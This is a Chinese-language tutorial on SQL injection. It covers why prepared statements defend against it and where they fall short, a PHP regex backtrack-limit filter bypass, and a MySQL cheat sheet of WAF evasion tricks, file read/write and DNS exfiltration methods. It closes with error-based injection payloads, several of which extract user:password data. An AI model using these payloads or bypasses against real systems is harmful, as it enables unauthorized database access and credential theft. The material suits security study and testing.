SQL注入的本质与预编译的防御原理
SQL注入攻击之所以能够成功,根本原因在于应用程序将用户输入的数据与SQL指令代码混合在一起,导致数据库引擎无法区分哪些是数据、哪些是指令。预编译技术通过语句结构与数据分离的设计思路,从根本上解决了这一问题。
预编译的执行过程分为两个独立阶段:
-
预处理阶段:数据库接收带有占位符的SQL模板,进行语法解析、语义检查和执行计划生成。此时SQL的结构已经固定。
-
参数绑定阶段:用户输入的数据作为纯值填充到占位符中,数据库不会将这些数据重新解析为SQL语法。
这种分离机制确保了用户输入永远被视为数据值而非可执行代码,从而在绝大多数情况下有效防止了SQL注入。
预编译的技术实现差异
在不同编程语言和数据库驱动中,预编译的实现方式存在重要差异:
模拟预编译(客户端处理)
-
常见于PHP PDO的默认配置(
PDO::ATTR_EMULATE_PREPARES = true) -
工作原理:在客户端对参数进行转义处理,然后拼接完整SQL语句发送给数据库
-
安全隐患:本质上仍是字符串处理,可能受字符编码影响(如宽字节注入)
真实预编译(服务器端处理)
-
需要显式配置(如PHP中设置
PDO::ATTR_EMULATE_PREPARES = false) -
工作原理:通过数据库协议分步发送模板和参数值
-
安全优势:参数值以二进制形式传输,完全避免注入可能性
预编译无法覆盖的漏洞点
尽管预编译是有效的防护手段,但它并非万能。以下SQL结构位置无法使用参数化查询:
-
标识符位置:表名、列名、数据库名
-
排序与分组字段:ORDER BY、GROUP BY后的列名
-
分页参数:LIMIT子句中的数值
-
动态查询部分:SQL关键字、运算符
以ORDER BY为例,如果强行参数化,语句会变为ORDER BY 'column_name',此时数据库会将引号内的内容视为字符串常量而非列名,导致排序功能失效。开发者因此往往采用字符串拼接方式,留下了注入隐患。
底层协议层面的绕过可能
近年来研究发现,预编译的防御边界位于应用层与数据库的通信协议层面。通过分析MySQL等数据库的二进制通信协议,攻击者可能利用:
-
协议解析漏洞:某些数据库驱动在协议解析时存在缺陷
-
整数溢出攻击:精心构造的超长参数可能触发长度计算错误
-
数据包走私:利用协议流截断与重组插入恶意指令
这类攻击完全绕过了应用层的防护措施,因为恶意载荷是在协议解析阶段被注入的,而非在SQL语句构建阶段。
正则表达式回溯攻击详解
漏洞产生背景
许多Web应用使用正则表达式对用户输入进行安全过滤,特别是检测和阻止潜在的恶意代码。PHP中常见的模式是使用preg_match()函数匹配特定模式。
技术原理深度解析
PHP的PCRE正则引擎采用NFA(非确定性有限状态自动机)算法,这种算法在执行复杂模式匹配时可能产生大量回溯 操作。回溯发生在正则表达式中的量词(如*、+)尝试不同匹配路径时。
PHP为防止正则表达式拒绝服务攻击(ReDoS),设置了pcre.backtrack_limit配置项(默认1,000,000次)。当回溯次数超过此限制时,preg_match()会返回false而非0或1。
攻击利用场景
考虑以下安全检测代码:
php
function is_malicious($input) {
return preg_match('/<\?.*[(`;?>].*/is', $input);
}
if (!is_malicious($user_input)) {
save_to_file($user_input); // 被认为是安全的输入
}
攻击者可以构造如下载荷:
<?php evil_code(); // [大量重复字符,如100万个'a']
匹配过程:
-
.*贪婪匹配到字符串末尾 -
引擎发现需要匹配
[(;?>]`但已无字符 -
开始回溯,每次回退一个字符检查是否匹配
-
回溯超过100万次,函数返回
false -
!false为真,恶意代码被写入文件
防御建议
-
严格检查
preg_match()的返回值,区分false(错误)和0(不匹配) -
避免使用过于复杂的正则表达式,特别是包含贪婪量词的模式
-
对输入长度进行合理限制
-
考虑使用其他字符串检测函数替代正则匹配
MySQL注入绕过技术大全
输入过滤绕过技巧
空格替代方案
-
使用注释符:
/**/、/*!MySQL特性*/ -
URL编码字符:
%20(空格)、%09(制表符)、%0A(换行) -
括号包裹:
SELECT(user())FROM(dual) -
科学计数法:
1E1替代数字间的空格
关键词混淆技术
-
大小写混合:
UnIoN SeLeCt -
内联注释:
/*!50000SELECT*/ -
重复关键词:
SELSELECTECT(中间被过滤后剩余SELECT) -
Unicode/URL编码:
%55%4E%49%4F%4E(UNION)
特殊函数替代
-
字符串截取:
SUBSTR(str FROM 1 FOR 1)替代SUBSTR(str,1,1) -
条件判断:
CASE WHEN condition THEN 1 ELSE 0 END替代IF() -
延时函数:
BENCHMARK(1000000,MD5('test'))替代SLEEP()
协议层绕过
-
HTTP参数污染:利用服务器对重复参数的处理差异
-
分块传输编码:通过特殊编码方式绕过WAF检测
-
多参数拆分:将注入载荷拆分到多个参数中
输出过滤绕过策略
当注入成功但回显内容被过滤时,可采用以下方法获取数据:
编码转换技术
-
十六进制编码:
SELECT HEX(column) FROM table -
Base64编码:
SELECT TO_BASE64(column) FROM table -
自定义编码:使用二进制或字符替换函数
侧信道数据提取
-
时间盲注:通过响应时间差异推断数据
-
布尔盲注:通过页面状态变化判断条件真伪
-
错误回显:触发数据库错误间接获取信息
文件操作技巧
-
写入文件:
SELECT ... INTO OUTFILE/DUMPFILE -
读取文件:
LOAD_FILE()函数 -
DNS外带数据:通过域名查询泄露信息
报错注入常用函数解析
- 空间几何函数类(MySQL ≥ 5.7.x)
这类函数主要处理地理空间数据,当输入不符合地理格式时会触发错误信息泄露。
ST_LatFromGeoHash()
原理:处理非地理哈希格式的字符串输入时触发报错
Payload示例:`and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+`
ST_LongFromGeoHash()
原理:与ST_LatFromGeoHash类似,用于返回经度值
Payload示例:`and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+`
ST_PointFromGeoHash()
原理:输入错误格式的Geohash值时触发报错
Payload示例:
获取版本:`')or ST_PointFromGeoHash(version(),1)--+`
获取数据:`')or ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',password) from manage),0x23)),1)--+`
- GTID相关函数类(MySQL ≥ 5.6.x)
基于全局事务标识符的函数,参数格式错误时泄露信息。
GTID_SUBSET()
原理:参数不符合GTID集合格式要求时触发报错
Payload示例:`') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+`
GTID_SUBTRACT()
原理:与GTID_SUBSET函数原理相同
Payload示例:`') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+`
- 统计/数学函数类(5.0 < MySQL < 8.0)
利用随机数生成和分组统计的特性触发报错。
floor()函数组合
原理:利用rand()函数的随机性、count(*)分组统计及主键冲突触发Duplicate entry报错
Payload示例:`')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+`
- XML解析函数类(广泛兼容)
最常用且兼容性最好的报错注入函数。
updatexml()
原理:第二个参数(XML路径)包含非法字符(如0x7e)时触发XPath语法错误
Payload示例:`and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)`
extractvalue()
原理:与updatexml类似,利用非法XML路径触发报错
Payload示例:`and extractvalue(1, concat(0x7e, (select user()), 0x7e))`